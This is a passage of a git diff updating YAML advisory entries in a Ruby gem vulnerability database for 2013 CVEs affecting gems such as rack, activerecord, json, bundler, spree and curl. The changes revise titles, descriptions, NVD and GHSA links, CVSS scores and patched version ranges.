index 71d2889f..fb4f1ab6 100644
--- a/advisories/_posts/2013-02-07-CVE-2013-0263.md
+++ b/advisories/_posts/2013-02-07-CVE-2013-0263.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-0263 (rack): Rack Rack::Session::Cookie Function Timing Attack Remote Code Execution
+title: 'CVE-2013-0263 (rack): CVE-2013-0263 rubygem-rack: Timing attack in cookie
+  sessions'
 comments: false
 categories:
 - rack
@@ -9,16 +9,15 @@ advisory:
   gem: rack
   cve: 2013-0263
   osvdb: 89939
-  url: http://osvdb.org/show/osvdb/89939
-  title: |
-    Rack Rack::Session::Cookie Function Timing Attack Remote Code Execution
+  ghsa: xc85-32mf-xpv8
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0263
+  title: 'CVE-2013-0263 rubygem-rack: Timing attack in cookie sessions'
   date: 2013-02-07
   description: |
-    Rack contains a flaw that is due to an error in the Rack::Session::Cookie
-    function. Users of the Marshal session cookie encoding (the default), are
-    subject to a timing attack that may lead an attacker to execute arbitrary
-    code. This attack is more practical against 'cloud' users as intra-cloud
-    latencies are sufficiently low to make the attack viable.
+    Rack::Session::Cookie in Rack 1.5.x before 1.5.2, 1.4.x before 1.4.5,
+    1.3.x before 1.3.10, 1.2.x before 1.2.8, and 1.1.x before 1.1.6 allows remote attackers
+    to guess the session cookie, gain privileges, and execute arbitrary code via a timing
+    attack involving an HMAC comparison function that does not run in constant time.
   cvss_v2: 5.1
   patched_versions:
   - "~> 1.1.6"
diff --git a/advisories/_posts/2013-02-11-CVE-2013-0269.md b/advisories/_posts/2013-02-11-CVE-2013-0269.md
deleted file mode 100644
index 77a13bc3..00000000
--- a/advisories/_posts/2013-02-11-CVE-2013-0269.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-layout: advisory
-title: 'CVE-2013-0269 (json): Ruby on Rails JSON Gem Arbitrary Symbol Creation Remote
-  DoS'
-comments: false
-categories:
-- json
-advisory:
-  gem: json
-  cve: 2013-0269
-  osvdb: 90074
-  url: http://osvdb.org/show/osvdb/90074
-  title: Ruby on Rails JSON Gem Arbitrary Symbol Creation Remote DoS
-  date: 2013-02-11
-  description: |
-    Ruby on Rails contains a flaw that may allow a remote denial of service.
-    The issue is due to the JSON gem being tricked in to generating Ruby symbols
-    during the parsing of certain JSON documents. Since Ruby symbols are not
-    garbage collected, a remote attacker can crash a users system. This also may
-    allow the attacker to create arbitrary objects that may be used to bypass
-    certain security mechanisms and potentially allow SQL injection attacks to
-    be conducted.
-  cvss_v2: 9.0
-  patched_versions:
-  - "~> 1.5.5"
-  - "~> 1.6.8"
-  - ">= 1.7.7"
----
diff --git a/advisories/_posts/2013-02-11-CVE-2013-0276.md b/advisories/_posts/2013-02-11-CVE-2013-0276.md
index 150c35ec..f44a87bb 100644
--- a/advisories/_posts/2013-02-11-CVE-2013-0276.md
+++ b/advisories/_posts/2013-02-11-CVE-2013-0276.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-0276 (activerecord): Ruby on Rails Active Record attr_protected Method
-  Bypass'
+title: 'CVE-2013-0276 (activerecord): CVE-2013-0276 rubygem-activerecord/rubygem-activemodel:
+  circumvention of attr_protected'
 comments: false
 categories:
 - activerecord
@@ -11,14 +11,15 @@ advisory:
   framework: rails
   cve: 2013-0276
   osvdb: 90072
-  url: http://osvdb.org/show/osvdb/90072
-  title: Ruby on Rails Active Record attr_protected Method Bypass
+  ghsa: gr44-7grc-37vq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0276
+  title: 'CVE-2013-0276 rubygem-activerecord/rubygem-activemodel: circumvention of
+    attr_protected'
   date: 2013-02-11
   description: |
-    Ruby on Rails contains a flaw in the attr_protected method of the
-    Active Record. The issue is triggered during the handling of a specially
-    crafted request, which may allow a remote attacker to bypass protection
-    mechanisms and alter values that would otherwise be protected.
+    ActiveRecord in Ruby on Rails before 2.3.17, 3.1.x before 3.1.11, and
+    3.2.x before 3.2.12 allows remote attackers to bypass the attr_protected protection
+    mechanism and modify protected model attributes via a crafted request.
   cvss_v2: 5.0
   patched_versions:
   - "~> 2.3.17"
diff --git a/advisories/_posts/2013-02-11-CVE-2013-0277.md b/advisories/_posts/2013-02-11-CVE-2013-0277.md
index 4b235fbe..6cf7d6a5 100644
--- a/advisories/_posts/2013-02-11-CVE-2013-0277.md
+++ b/advisories/_posts/2013-02-11-CVE-2013-0277.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: "CVE-2013-0277 (activerecord): Ruby on Rails Active Record +serialize+ Helper
-  YAML Attribute Handling Remote\nCode Execution \n"
+title: 'CVE-2013-0277 (activerecord): CVE-2013-0277 rubygem-activerecord: Serialized
+  Attributes YAML Vulnerability with Rails 2.3 and 3.0'
 comments: false
 categories:
 - activerecord
@@ -11,16 +11,16 @@ advisory:
   framework: rails
   cve: 2013-0277
   osvdb: 90073
-  url: http://osvdb.org/show/osvdb/90073
-  title: "Ruby on Rails Active Record +serialize+ Helper YAML Attribute Handling Remote\nCode
-    Execution \n"
+  ghsa: fhj9-cjjh-27vm
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0277
+  title: 'CVE-2013-0277 rubygem-activerecord: Serialized Attributes YAML Vulnerability
+    with Rails 2.3 and 3.0'
   date: 2013-02-11
   description: |
-    Ruby on Rails contains a flaw in the +serialize+ helper in the Active Record.
-    The issue is triggered when the system is configured to allow users to
-    directly provide values to be serialized and deserialized using YAML.
-    With a specially crafted YAML attribute, a remote attacker can deserialize
-    arbitrary YAML and execute code associated with it.
+    ActiveRecord in Ruby on Rails before 2.3.17 and 3.x before 3.1.0 allows
+    remote attackers to cause a denial of service or execute arbitrary code via crafted
+    serialized attributes that cause the +serialize+ helper to deserialize arbitrary
+    YAML.
   cvss_v2: 10.0
   patched_versions:
   - "~> 2.3.17"
diff --git a/advisories/_posts/2013-02-12-CVE-2013-0269.md b/advisories/_posts/2013-02-12-CVE-2013-0269.md
new file mode 100644
index 00000000..e5b172e9
--- /dev/null
+++ b/advisories/_posts/2013-02-12-CVE-2013-0269.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2013-0269 (json): CVE-2013-0269 rubygem-json: Denial of Service and SQL
+  Injection'
+comments: false
+categories:
+- json
+advisory:
+  gem: json
+  cve: 2013-0269
+  osvdb: 101137
+  ghsa: x457-cw4h-hq5f
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0269
+  title: 'CVE-2013-0269 rubygem-json: Denial of Service and SQL Injection'
+  date: 2013-02-12
+  description: |
+    The JSON gem before 1.5.5, 1.6.x before 1.6.8, and 1.7.x before 1.7.7
+    for Ruby allows remote attackers to cause a denial of service (resource consumption)
+    or bypass the mass assignment protection mechanism via a crafted JSON document that
+    triggers the creation of arbitrary Ruby symbols or certain internal objects, as
+    demonstrated by conducting a SQL injection attack against Ruby on Rails, aka "Unsafe
+    Object Creation Vulnerability."
+  cvss_v2: 9.0
+  patched_versions:
+  - "~> 1.5.5"
+  - "~> 1.6.8"
+  - ">= 1.7.7"
+---
diff --git a/advisories/_posts/2013-02-12-OSVDB-115090.md b/advisories/_posts/2013-02-12-OSVDB-115090.md
index 811acbc5..29d0adb9 100644
--- a/advisories/_posts/2013-02-12-OSVDB-115090.md
+++ b/advisories/_posts/2013-02-12-OSVDB-115090.md
@@ -8,13 +8,20 @@ categories:
 advisory:
   gem: bundler
   osvdb: 115090
-  url: http://www.osvdb.org/show/osvdb/115090
+  url: https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8
   title: Bundler Gem for Ruby Missing SSL Certificate Validation MitM Spoofing
   date: 2013-02-12
-  description: "Bundler Gem for Ruby contains a flaw as SSL certificates are not properly\nvalidated.
-    By spoofing the SSL server via a certificate that appears valid,\nan attacker
-    with the ability to intercept network traffic (e.g. MiTM, DNS\ncache poisoning)
-    can disclose and optionally manipulate transmitted data. \n"
+  description: |
+    Bundler Gem for Ruby contains a flaw as SSL certificates are not properly
+    validated. By spoofing the SSL server via a certificate that appears valid,
+    an attacker with the ability to intercept network traffic (e.g. MiTM, DNS
+    cache poisoning) can disclose and optionally manipulate transmitted data.
   patched_versions:
   - ">= 1.3.0.pre.8"
+  related:
+    url:
+    - https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8
+    - https://my.diffend.io/gems/bundler/1.3.0.pre.7/1.3.0.pre.8
+    - https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8
+    - http://www.osvdb.org/show/osvdb/115090
 ---
diff --git a/advisories/_posts/2013-02-12-OSVDB-115091.md b/advisories/_posts/2013-02-12-OSVDB-115091.md
index 2f044fb7..5e306919 100644
--- a/advisories/_posts/2013-02-12-OSVDB-115091.md
+++ b/advisories/_posts/2013-02-12-OSVDB-115091.md
@@ -8,14 +8,20 @@ categories:
 advisory:
   gem: bundler
   osvdb: 115091
-  url: http://www.osvdb.org/show/osvdb/115091
+  url: https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8
   title: Bundler Gem for Ruby Redirection Remote HTTP Basic Authentication Credential
     Disclosure
   date: 2013-02-12
   description: |
     Bundler Gem for Ruby contains a flaw that is triggered during the
-    redirection to other hosts. This may allow a remote attacker to gain access
-    to HTTP basic authentication credential information.
+    redirection to other hosts. This may allow a remote attacker to
+    gain access to HTTP basic authentication credential information.
   patched_versions:
   - ">= 1.3.0.pre.8"
+  related:
+    url:
+    - https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8
+    - https://my.diffend.io/gems/bundler/1.3.0.pre.7/1.3.0.pre.8
+    - https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8
+    - http://www.osvdb.org/show/osvdb/115091
 ---
diff --git a/advisories/_posts/2013-02-19-CVE-2013-1756.md b/advisories/_posts/2013-02-19-CVE-2013-1756.md
index 024941cd..045386e7 100644
--- a/advisories/_posts/2013-02-19-CVE-2013-1756.md
+++ b/advisories/_posts/2013-02-19-CVE-2013-1756.md
@@ -9,7 +9,7 @@ advisory:
   gem: fog-dragonfly
   cve: 2013-1756
   osvdb: 90647
-  url: http://www.osvdb.org/show/osvdb/90647
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1756
   title: Dragonfly Gem for Ruby Crafted Request Parsing Remote Code Execution
   date: 2013-02-19
   description: |
@@ -21,4 +21,6 @@ advisory:
   cvss_v2: 7.5
   unaffected_versions:
   - "< 0.7.0"
+  patched_versions:
+  - ">= 0.9.14"
 ---
diff --git a/advisories/_posts/2013-02-21-CVE-2013-0162.md b/advisories/_posts/2013-02-21-CVE-2013-0162.md
index 562f331c..0c9e6479 100644
--- a/advisories/_posts/2013-02-21-CVE-2013-0162.md
+++ b/advisories/_posts/2013-02-21-CVE-2013-0162.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-0162 (ruby_parser): RubyGems ruby_parser (RP) Temporary File Symlink
-  Arbitrary File Overwrite'
+title: 'CVE-2013-0162 (ruby_parser): CVE-2013-0162 rubygem-ruby_parser: incorrect
+  temporary file usage'
 comments: false
 categories:
 - ruby_parser
@@ -9,12 +9,14 @@ advisory:
   gem: ruby_parser
   cve: 2013-0162
   osvdb: 90561
-  url: http://osvdb.org/show/osvdb/90561
-  title: RubyGems ruby_parser (RP) Temporary File Symlink Arbitrary File Overwrite
+  ghsa: 8mvw-22r7-w6fq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0162
+  title: 'CVE-2013-0162 rubygem-ruby_parser: incorrect temporary file usage'
   date: 2013-02-21
-  description: RubyGems ruby_parser (RP) contains a flaw as rubygem-ruby_parser creates
-    temporary files insecurely. It is possible for a local attacker to use a symlink
-    attack to cause the program to unexpectedly overwrite an arbitrary file.
+  description: |
+    The diff_pp function in lib/gauntlet_rubyparser.rb in the ruby_parser
+    gem 3.1.1 and earlier for Ruby allows local users to overwrite arbitrary files via
+    a symlink attack on a temporary file with a predictable name in /tmp.
   cvss_v2: 2.1
   patched_versions:
   - ">= 3.1.2"
diff --git a/advisories/_posts/2013-02-21-CVE-2013-1607.md b/advisories/_posts/2013-02-21-CVE-2013-1607.md
index fa77e334..1089ce24 100644
--- a/advisories/_posts/2013-02-21-CVE-2013-1607.md
+++ b/advisories/_posts/2013-02-21-CVE-2013-1607.md
@@ -9,14 +9,16 @@ advisory:
   gem: pdfkit
   cve: 2013-1607
   osvdb: 90867
-  url: http://osvdb.org/show/osvdb/90867
+  ghsa: 39v7-xpq4-8884
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1607
   title: PDFKit Gem for Ruby PDF File Generation Parameter Handling Remote Code Execution
   date: 2013-02-21
-  description: PDFKit Gem for Ruby contains a flaw that is due to the program failing
+  description: |
+    PDFKit Gem for Ruby contains a flaw that is due to the program failing
     to properly validate input during the handling of parameters when generating PDF
-    files. This may allow a remote attacker to potentially execute arbitrary code
-    via the pdfkit generation options.
-  cvss_v2: 
+    files. This may allow a remote attacker to potentially execute arbitrary code via
+    the pdfkit generation options.
+  cvss_v3: 9.8
   patched_versions:
   - ">= 0.5.3"
 ---
diff --git a/advisories/_posts/2013-02-21-CVE-2013-1656.md b/advisories/_posts/2013-02-21-CVE-2013-1656.md
index b7383908..88b3a886 100644
--- a/advisories/_posts/2013-02-21-CVE-2013-1656.md
+++ b/advisories/_posts/2013-02-21-CVE-2013-1656.md
@@ -1,26 +1,37 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-1656 (spree): Spree promotion_rules_controller.rb promotion_rule Parameter Arbitrary Ruby
-  Object Instantiation Command Execution
+title: 'CVE-2013-1656 (spree): Spree controller Parameter Arbitrary Ruby Object Instantiation
+  Command Execution'
 comments: false
 categories:
 - spree
 advisory:
   gem: spree
   cve: 2013-1656
-  osvdb: 91219
-  url: https://spreecommerce.com/blog/multiple-security-vulnerabilities-fixed
-  title: |
-    Spree promotion_rules_controller.rb promotion_rule Parameter Arbitrary Ruby
-    Object Instantiation Command Execution
+  ghsa: jxx8-v83v-rhw3
+  url: https://github.com/advisories/GHSA-jxx8-v83v-rhw3
+  title: Spree controller Parameter Arbitrary Ruby Object Instantiation Command Execution
   date: 2013-02-21
   description: |
-    Spree contains a flaw that is triggered when handling input passed via the
-    'promotion_rule' parameter to promotion_rules_controller.rb. This may allow
-    a remote authenticated attacker to instantiate arbitrary Ruby objects and
-    potentially execute arbitrary commands.
+    Spree Commerce 1.0.x before 2.0.0.rc1 allows remote authenticated
+    administrators to instantiate arbitrary Ruby objects and executd
+    arbitrary commands via the
+    (1) payment_method parameter to core/app/controllers/spree/admin/
+        payment_methods_controller.rb; and the
+    (2) promotion_action parameter to promotion_actions_controller.rb,
+    (3) promotion_rule parameter to promotion_rules_controller.rb, and
+    (4) calculator_type parameter to promotions_controller.rb in
+        promo/app/controllers/spree/admin/, related to unsafe use
+        of the constantize function.
   cvss_v2: 4.3
   patched_versions:
-  - ">= 2.0.0"
+  - ">= 2.0.0.rc1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-1656
+    - https://github.com/spree/spree/commit/70092eb55b8be8fe5d21a7658b62da658612fba7
+    - https://web.archive.org/web/20130907044454/https://www.conviso.com.br/advisories/CVE-2013-1656.txt
+    - https://web.archive.org/web/20140329142330/http://spreecommerce.com/blog/multiple-security-vulnerabilities-fixed
+    - https://web.archive.org/web/20140618100330/http://blog.conviso.com.br/2013/03/spree-commerce-multiple-unsafe.html
+    - https://github.com/advisories/GHSA-jxx8-v83v-rhw3
 ---
diff --git a/advisories/_posts/2013-02-21-CVE-2013-2506.md b/advisories/_posts/2013-02-21-CVE-2013-2506.md
index 3e152ec9..f953232c 100644
--- a/advisories/_posts/2013-02-21-CVE-2013-2506.md
+++ b/advisories/_posts/2013-02-21-CVE-2013-2506.md
@@ -1,8 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-2506 (spree_auth_devise): Spree app/models/spree/user.rb Mass Role Assignment Remote Privilege
-  Escalation
+title: 'CVE-2013-2506 (spree_auth_devise): Spree app/models/spree/user.rb Mass Role
+  Assignment Remote Privilege Escalation'
 comments: false
 categories:
 - spree_auth_devise
@@ -10,10 +9,9 @@ advisory:
   gem: spree_auth_devise
   cve: 2013-2506
   osvdb: 90865
+  ghsa: jp57-9j37-5476
   url: https://spreecommerce.com/blog/multiple-security-vulnerabilities-fixed
-  title: |
-    Spree app/models/spree/user.rb Mass Role Assignment Remote Privilege
-    Escalation
+  title: Spree app/models/spree/user.rb Mass Role Assignment Remote Privilege Escalation
   date: 2013-02-21
   description: |
     Spree contains a flaw that leads to unauthorized privileges being gained. The
diff --git a/advisories/_posts/2013-02-25-OSVDB-114854.md b/advisories/_posts/2013-02-25-OSVDB-114854.md
index 301f2ef4..d1ccbe3b 100644
--- a/advisories/_posts/2013-02-25-OSVDB-114854.md
+++ b/advisories/_posts/2013-02-25-OSVDB-114854.md
@@ -1,18 +1,17 @@
 ---
 layout: advisory
-title: |
-  OSVDB-114854 (activerecord-jdbc-adapter): ActiveRecord-JDBC-Adapter (AR-JDBC) lib/arjdbc/jdbc/adapter.rb sql.gsub()
-  Function SQL Injection
+title: 'OSVDB-114854 (activerecord-jdbc-adapter): ActiveRecord-JDBC-Adapter (AR-JDBC)
+  lib/arjdbc/jdbc/adapter.rb sql.gsub() Function SQL Injection'
 comments: false
 categories:
 - activerecord-jdbc-adapter
+- jruby
 advisory:
   gem: activerecord-jdbc-adapter
   platform: jruby
   osvdb: 114854
-  url: http://osvdb.org/show/osvdb/114854
-  title: |
-    ActiveRecord-JDBC-Adapter (AR-JDBC) lib/arjdbc/jdbc/adapter.rb sql.gsub()
+  url: https://github.com/jruby/activerecord-jdbc-adapter/issues/322
+  title: ActiveRecord-JDBC-Adapter (AR-JDBC) lib/arjdbc/jdbc/adapter.rb sql.gsub()
     Function SQL Injection
   date: 2013-02-25
   description: |
@@ -26,4 +25,11 @@ advisory:
   - "< 1.2.6"
   patched_versions:
   - ">= 1.2.8"
+  related:
+    url:
+    - https://github.com/jruby/activerecord-jdbc-adapter/issues/322
+    - https://github.com/jruby/activerecord-jdbc-adapter/blob/master/lib/arjdbc/jdbc/adapter.rb
+    - https://security.snyk.io/vuln/SNYK-RUBY-ACTIVERECORDJDBCADAPTER-20076
+    - https://my.diffend.io/gems/activerecord-jdbc-adapter/1.2.5/1.2.8
+    - http://osvdb.org/show/osvdb/114854
 ---
diff --git a/advisories/_posts/2013-02-28-CVE-2013-2512.md b/advisories/_posts/2013-02-28-CVE-2013-2512.md
index 0215d5c4..74ba5325 100644
--- a/advisories/_posts/2013-02-28-CVE-2013-2512.md
+++ b/advisories/_posts/2013-02-28-CVE-2013-2512.md
@@ -9,7 +9,8 @@ advisory:
   gem: ftpd
   cve: 2013-2512
   osvdb: 90784
-  url: http://osvdb.org/show/osvdb/90784
+  ghsa: 7vxr-6cxg-j3x8
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2512
   title: ftpd Gem for Ruby Shell Character Handling Remote Command Injection
   date: 2013-02-28
   description: |
@@ -18,6 +19,7 @@ advisory:
     character. This may allow a remote attacker to inject arbitrary
     commands.
   cvss_v2: 9.0
+  cvss_v3: 9.8
   patched_versions:
   - ">= 0.2.2"
 ---
diff --git a/advisories/_posts/2013-02-28-CVE-2013-2516.md b/advisories/_posts/2013-02-28-CVE-2013-2516.md
index 6023dadf..e2c2a29f 100644
--- a/advisories/_posts/2013-02-28-CVE-2013-2516.md
+++ b/advisories/_posts/2013-02-28-CVE-2013-2516.md
@@ -9,12 +9,16 @@ advisory:
   gem: fileutils
   cve: 2013-2516
   osvdb: 90717
-  url: http://osvdb.org/show/osvdb/90717
+  ghsa: 9x97-x2p9-hvpf
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2516
   title: fileutils Gem for Ruby file_utils.rb Crafted URL Handling Remote Command
     Execution
   date: 2013-02-28
-  description: fileutils Gem for Ruby contains a flaw in file_utils.rb. The issue
-    is triggered when handling a specially crafted URL containing a command after
-    a delimiter (;). This may allow a remote attacker to potentially execute arbitrary
-    commands.
+  description: |
+    fileutils Gem for Ruby contains a flaw in file_utils.rb. The issue is
+    triggered when handling a specially crafted URL containing a command after a delimiter
+    (;). This may allow a remote attacker to potentially execute arbitrary commands.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 0.7.1"
 ---
diff --git a/advisories/_posts/2013-02-28-OSVDB-90715.md b/advisories/_posts/2013-02-28-OSVDB-90715.md
deleted file mode 100644
index f5dcc6b8..00000000
--- a/advisories/_posts/2013-02-28-OSVDB-90715.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-layout: advisory
-title: 'OSVDB-90715 (fileutils): fileutils Gem for Ruby files_utils.rb /tmp File Symlink
-  Arbitrary File Overwrite'
-comments: false
-categories:
-- fileutils
-advisory:
-  gem: fileutils
-  osvdb: 90715
-  url: http://osvdb.org/show/osvdb/90715
-  title: fileutils Gem for Ruby files_utils.rb /tmp File Symlink Arbitrary File Overwrite
-  date: 2013-02-28
-  description: fileutils Gem for Ruby contains a flaw as the program creates temporary
-    files insecurely. It is possible for a local attacker to use a symlink attack
-    against temporary files created by files_utils.rb to cause the program to unexpectedly
-    overwrite an arbitrary file.
----
diff --git a/advisories/_posts/2013-02-28-OSVDB-90716.md b/advisories/_posts/2013-02-28-OSVDB-90716.md
deleted file mode 100644
index 0fbf567b..00000000
--- a/advisories/_posts/2013-02-28-OSVDB-90716.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-layout: advisory
-title: 'OSVDB-90716 (fileutils): fileutils Gem for Ruby Temporary Directory Hijacking
-  Weakness'
-comments: false
-categories:
-- fileutils
-advisory:
-  gem: fileutils
-  osvdb: 90716
-  url: http://osvdb.org/show/osvdb/90716
-  title: fileutils Gem for Ruby Temporary Directory Hijacking Weakness
-  date: 2013-02-28
-  description: fileutils Gem for Ruby contains a flaw that is due to the program not
-    verifying the existence of a directory before attempting to create it. This may
-    allow a local attacker to create the directory in advance, thus owning any files
-    subsequently written to it.
----
diff --git a/advisories/_posts/2013-02-28-OSVDB-90718.md b/advisories/_posts/2013-02-28-OSVDB-90718.md
deleted file mode 100644
index 5acc29aa..00000000
--- a/advisories/_posts/2013-02-28-OSVDB-90718.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-layout: advisory
-title: 'OSVDB-90718 (fileutils): fileutils Gem for Ruby /lib/file_utils/open_office.rb
-  Character Handling Remote Command Execution'
-comments: false
-categories:
-- fileutils
-advisory:
-  gem: fileutils
-  osvdb: 90718
-  url: http://osvdb.org/show/osvdb/90718
-  title: fileutils Gem for Ruby /lib/file_utils/open_office.rb Character Handling
-    Remote Command Execution
-  date: 2013-02-28
-  description: fileutils Gem for Ruby contains a flaw in /lib/file_utils/open_office.rb.
-    The issue is triggered when handling a specially crafted URL containing a command
-    after a delimiter (;). This may allow a remote attacker to potentially execute
-    arbitrary commands.
----
diff --git a/advisories/_posts/2013-03-04-CVE-2013-2513.md b/advisories/_posts/2013-03-04-CVE-2013-2513.md
index 7b4ef152..6451252e 100644
--- a/advisories/_posts/2013-03-04-CVE-2013-2513.md
+++ b/advisories/_posts/2013-03-04-CVE-2013-2513.md
@@ -9,10 +9,13 @@ advisory:
   gem: flash_tool
   cve: 2013-2513
   osvdb: 90829
-  url: http://osvdb.org/show/osvdb/90829
+  ghsa: 6325-6g32-7p35
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2513
   title: flash_tool Gem for Ruby File Download Handling Arbitrary Command Execution
   date: 2013-03-04
-  description: flash_tool Gem for Ruby contains a flaw that is triggered during the
+  description: |
+    flash_tool Gem for Ruby contains a flaw that is triggered during the
     handling of downloaded files that contain shell characters. With a specially crafted
     file, a context-dependent attacker can execute arbitrary commands.
+  cvss_v3: 9.8
 ---
diff --git a/advisories/_posts/2013-03-12-CVE-2013-1878.md b/advisories/_posts/2013-03-12-CVE-2013-1878.md
deleted file mode 100644
index cae65da6..00000000
--- a/advisories/_posts/2013-03-12-CVE-2013-1878.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-layout: advisory
-title: ! 'CVE-2013-1878: Curl Gem for Ruby URI Handling Arbitrary Command Injection'
-comments: false
-categories:
-- curl
-advisory:
-  gem: curl
-  cve: 2013-1878
-  osvdb: 91230
-  url: http://osvdb.org/show/osvdb/91230
-  title: Curl Gem for Ruby URI Handling Arbitrary Command Injection
-  date: 2013-03-12
-  description: Curl Gem for Ruby contains a flaw that is triggered during the handling
-    of specially crafted input passed via the URL.  This may allow a context-dependent
-    attacker to potentially execute arbitrary commands by injecting them via a semi-colon
-    (;).
-  cvss_v2: 7.5
-  patched_versions: 
----
diff --git a/advisories/_posts/2013-03-12-CVE-2013-2616.md b/advisories/_posts/2013-03-12-CVE-2013-2616.md
index 58643253..64acf68c 100644
--- a/advisories/_posts/2013-03-12-CVE-2013-2616.md
+++ b/advisories/_posts/2013-03-12-CVE-2013-2616.md
@@ -9,7 +9,8 @@ advisory:
   gem: mini_magick
   cve: 2013-2616
   osvdb: 91231
-  url: http://osvdb.org/show/osvdb/91231
+  ghsa: w754-gq8r-pf5f
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2616
   title: MiniMagick Gem for Ruby URI Handling Arbitrary Command Injection
   date: 2013-03-12
   description: |
diff --git a/advisories/_posts/2013-03-12-CVE-2013-2617.md b/advisories/_posts/2013-03-12-CVE-2013-2617.md
index 4da55ae3..45174d1b 100644
--- a/advisories/_posts/2013-03-12-CVE-2013-2617.md
+++ b/advisories/_posts/2013-03-12-CVE-2013-2617.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-2617 (curl): Curl Gem for Ruby URI Handling Arbitrary Command Injection'
+title: 'CVE-2013-2617 (curl): CVE-2013-2617 rubygem-curl: insufficient URL escaping
+  command injection'
 comments: false
 categories:
 - curl
@@ -8,13 +9,12 @@ advisory:
   gem: curl
   cve: 2013-2617
   osvdb: 91230
-  url: http://osvdb.org/show/osvdb/91230
-  title: Curl Gem for Ruby URI Handling Arbitrary Command Injection
+  ghsa: hxx6-p24v-wg8c
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2617
+  title: 'CVE-2013-2617 rubygem-curl: insufficient URL escaping command injection'
   date: 2013-03-12
-  description: Curl Gem for Ruby contains a flaw that is triggered during the handling
-    of specially crafted input passed via the URL.  This may allow a context-dependent
-    attacker to potentially execute arbitrary commands by injecting them via a semi-colon
-    (;).
+  description: |
+    lib/curl.rb in the Curl Gem for Ruby allows remote attackers to execute
+    arbitrary commands via shell metacharacters in a URL.
   cvss_v2: 7.5
-  patched_versions: 
 ---
diff --git a/advisories/_posts/2013-03-13-CVE-2013-1876.md b/advisories/_posts/2013-03-13-CVE-2013-1876.md
deleted file mode 100644
index 6adae87c..00000000
--- a/advisories/_posts/2013-03-13-CVE-2013-1876.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-layout: advisory
-title: ! 'CVE-2013-1876: fastreader Gem for Ruby URI Handling Arbitrary Command Injection'
-comments: false
-categories:
-- fastreader
-advisory:
-  gem: fastreader
-  cve: 2013-1876
-  osvdb: 91232
-  url: http://osvdb.org/show/osvdb/91232
-  title: fastreader Gem for Ruby URI Handling Arbitrary Command Injection
-  date: 2013-03-13
-  description: fastreader Gem for Ruby contains a flaw that is triggered during the
-    handling of specially crafted input passed via a URL that contains a ';' character.
-    This may allow a context-dependent attacker to potentially execute arbitrary commands.
-  cvss_v2: 9.3
----
diff --git a/advisories/_posts/2013-03-13-CVE-2013-2615.md b/advisories/_posts/2013-03-13-CVE-2013-2615.md
index ff1997e9..416827ea 100644
--- a/advisories/_posts/2013-03-13-CVE-2013-2615.md
+++ b/advisories/_posts/2013-03-13-CVE-2013-2615.md
@@ -9,7 +9,8 @@ advisory:
   gem: fastreader
   cve: 2013-2615
   osvdb: 91232
-  url: http://osvdb.org/show/osvdb/91232
+  ghsa: w248-xr37-jx8m
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-2615
   title: fastreader Gem for Ruby URI Handling Arbitrary Command Injection
   date: 2013-03-13
   description: |
diff --git a/advisories/_posts/2013-03-18-CVE-2013-1875.md b/advisories/_posts/2013-03-18-CVE-2013-1875.md
index fca8476b..f4be2687 100644
--- a/advisories/_posts/2013-03-18-CVE-2013-1875.md
+++ b/advisories/_posts/2013-03-18-CVE-2013-1875.md
@@ -9,12 +9,14 @@ advisory:
   gem: command_wrap
   cve: 2013-1875
   osvdb: 91450
-  url: http://osvdb.org/show/osvdb/91450
+  ghsa: p673-hjf2-pwfr
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1875
   title: command_wrap Gem for Ruby URI Handling Arbitrary Command Injection
   date: 2013-03-18
-  description: command_wrap Gem for Ruby contains a flaw that is triggered during
-    the handling of input passed via the URL that contains a semicolon character (;).
-    This will allow a remote attacker to inject arbitrary commands and have them executed
+  description: |
+    command_wrap Gem for Ruby contains a flaw that is triggered during the
+    handling of input passed via the URL that contains a semicolon character (;). This
+    will allow a remote attacker to inject arbitrary commands and have them executed
     in the context of the user clicking it.
   cvss_v2: 7.5
 ---
diff --git a/advisories/_posts/2013-03-19-CVE-2013-1854.md b/advisories/_posts/2013-03-19-CVE-2013-1854.md
index 836253ea..86d1d241 100644
--- a/advisories/_posts/2013-03-19-CVE-2013-1854.md
+++ b/advisories/_posts/2013-03-19-CVE-2013-1854.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-1854 (activerecord): Symbol DoS vulnerability in Active Record'
+title: 'CVE-2013-1854 (activerecord): CVE-2013-1854 rubygem-activerecord: attribute_dos
+  Symbol DoS vulnerability'
 comments: false
 categories:
 - activerecord
@@ -10,16 +11,18 @@ advisory:
   framework: rails
